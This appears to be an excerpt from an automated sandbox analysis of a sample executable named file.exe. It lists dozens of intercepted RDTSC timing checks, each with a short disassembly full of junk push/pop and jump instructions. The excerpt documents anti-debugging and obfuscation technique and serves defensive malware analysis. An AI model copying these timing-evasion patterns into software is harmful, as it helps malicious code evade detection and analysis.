Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4806A second address: F4807C instructions: 0x00000000 rdtsc 0x00000002 je 00007F5029365E08h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push esi 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4807C second address: F480D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b jbe 00007F502852395Dh 0x00000011 jmp 00007F5028523957h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F5028523948h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D221Ah], esi 0x00000038 push 2F189E56h 0x0000003d push eax 0x0000003e push edx 0x0000003f push esi 0x00000040 jne 00007F5028523946h 0x00000046 pop esi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F480D8 second address: F480DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F481A8 second address: F481B2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48264 second address: F48271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F5029365E06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F482EE second address: F482F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F482F2 second address: F482F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F482F8 second address: F4830F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F5028523954h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4830F second address: F48313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48313 second address: F48346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F5028523959h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F502852394Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48346 second address: F4834B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4841F second address: F48447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F5028523953h 0x00000013 jg 00007F5028523946h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48447 second address: F4844C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4856F second address: F48589 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F502852394Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BD0 second address: F48BD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BD6 second address: F48BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BDC second address: F48BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48C6B second address: F48CCA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F5028523959h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 pop edi 0x00000014 nop 0x00000015 movsx edx, cx 0x00000018 lea eax, dword ptr [ebp+12489780h] 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F5028523948h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 add dword ptr [ebp+122D20EAh], esi 0x0000003e nop 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48CCA second address: F48CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48CCE second address: F48D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 jnc 00007F5028523952h 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F5028523948h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b jno 00007F502852394Bh 0x00000031 movzx edi, ax 0x00000034 lea eax, dword ptr [ebp+1248973Ch] 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F5028523948h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 push esi 0x00000055 pop ecx 0x00000056 mov dword ptr [ebp+122D2515h], ebx 0x0000005c nop 0x0000005d push esi 0x0000005e pushad 0x0000005f jp 00007F5028523946h 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48D58 second address: F2439A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 jl 00007F5029365E06h 0x0000000f jmp 00007F5029365E13h 0x00000014 popad 0x00000015 pop ebx 0x00000016 nop 0x00000017 mov dl, ah 0x00000019 call dword ptr [ebp+122D23C0h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 jmp 00007F5029365E17h 0x00000027 jnp 00007F5029365E06h 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FA9F second address: F7FAA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5028523946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F800BD second address: F800DD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5029365E1Bh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F800DD second address: F800E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80375 second address: F8039D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5029365E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F5029365E0Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jp 00007F5029365E06h 0x00000019 jng 00007F5029365E06h 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84760 second address: F8476C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5028523946h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8476C second address: F8479E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5029365E13h 0x00000008 jmp 00007F5029365E0Ch 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5029365E0Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84A32 second address: F84A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84A38 second address: F84A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Eh 0x00000007 pushad 0x00000008 jmp 00007F5029365E11h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F5029365E17h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84A85 second address: F84A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84A89 second address: F84A8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84A8F second address: F84A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F5028523946h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84A9D second address: F84AA7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5029365E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8530A second address: F8530E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8530E second address: F8532E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E10h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F5029365E06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8532E second address: F85332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85332 second address: F85336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85633 second address: F85639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85BF6 second address: F85C38 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5029365E06h 0x00000008 jmp 00007F5029365E0Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F5029365E0Fh 0x00000015 jmp 00007F5029365E0Fh 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85C38 second address: F85C7A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F502852394Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F502852394Ah 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5028523955h 0x0000001d jc 00007F5028523946h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89065 second address: F8906B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8906B second address: F8906F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AE17 second address: F8AE21 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5029365E0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AE21 second address: F8AE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007F502852394Ah 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AF6A second address: F8AF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AF70 second address: F8AF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F5028523952h 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F5028523946h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9236D second address: F92377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5029365E06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92A08 second address: F92A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92A0E second address: F92A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F5029365E06h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92A27 second address: F92A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92A30 second address: F92A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92A36 second address: F92A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523954h 0x00000007 jmp 00007F502852394Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9690A second address: F9690E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9690E second address: F96935 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5028523954h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F502852394Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96A98 second address: F96AA2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5029365E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96EDE second address: F96EE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96EE4 second address: F96EF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96EF0 second address: F96F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5028523946h 0x0000000a pop ecx 0x0000000b jmp 00007F502852394Dh 0x00000010 jc 00007F502852394Eh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9706F second address: F97075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97075 second address: F97098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jo 00007F502852394Ch 0x0000000d ja 00007F5028523946h 0x00000013 popad 0x00000014 push eax 0x00000015 jno 00007F502852394Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97098 second address: F9709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9709C second address: F970A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A30A second address: F9A357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E17h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007F5029365E13h 0x00000012 pop ebx 0x00000013 jmp 00007F5029365E0Ah 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jl 00007F5029365E06h 0x00000022 jno 00007F5029365E06h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A357 second address: F9A38E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F5028523956h 0x00000014 popad 0x00000015 jmp 00007F502852394Eh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F999FF second address: F99A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E0Ah 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F5029365E0Ch 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99BE0 second address: F99C04 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5028523948h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5028523956h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FD7 second address: F99FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FDF second address: F9A000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5028523957h 0x00000009 popad 0x0000000a pop esi 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A000 second address: F9A00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5029365E06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A00F second address: F9A013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0B7C second address: FA0B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0B82 second address: FA0BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F502852394Fh 0x0000000d pop edx 0x0000000e popad 0x0000000f pushad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0BA3 second address: FA0BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1743 second address: FA174F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA174F second address: FA1755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1755 second address: FA178D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 ja 00007F502852395Fh 0x0000000e jmp 00007F5028523959h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push ebx 0x00000017 jns 00007F5028523946h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA178D second address: FA1793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1793 second address: FA1797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1797 second address: FA179D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA61FB second address: FA6205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5028523946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6205 second address: FA6209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F046D7 second address: F046E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F046E1 second address: F046E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F046E5 second address: F046FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F502852394Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F046FB second address: F046FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F046FF second address: F04709 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5028523965h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA90D3 second address: FA90D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA90D9 second address: FA90E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
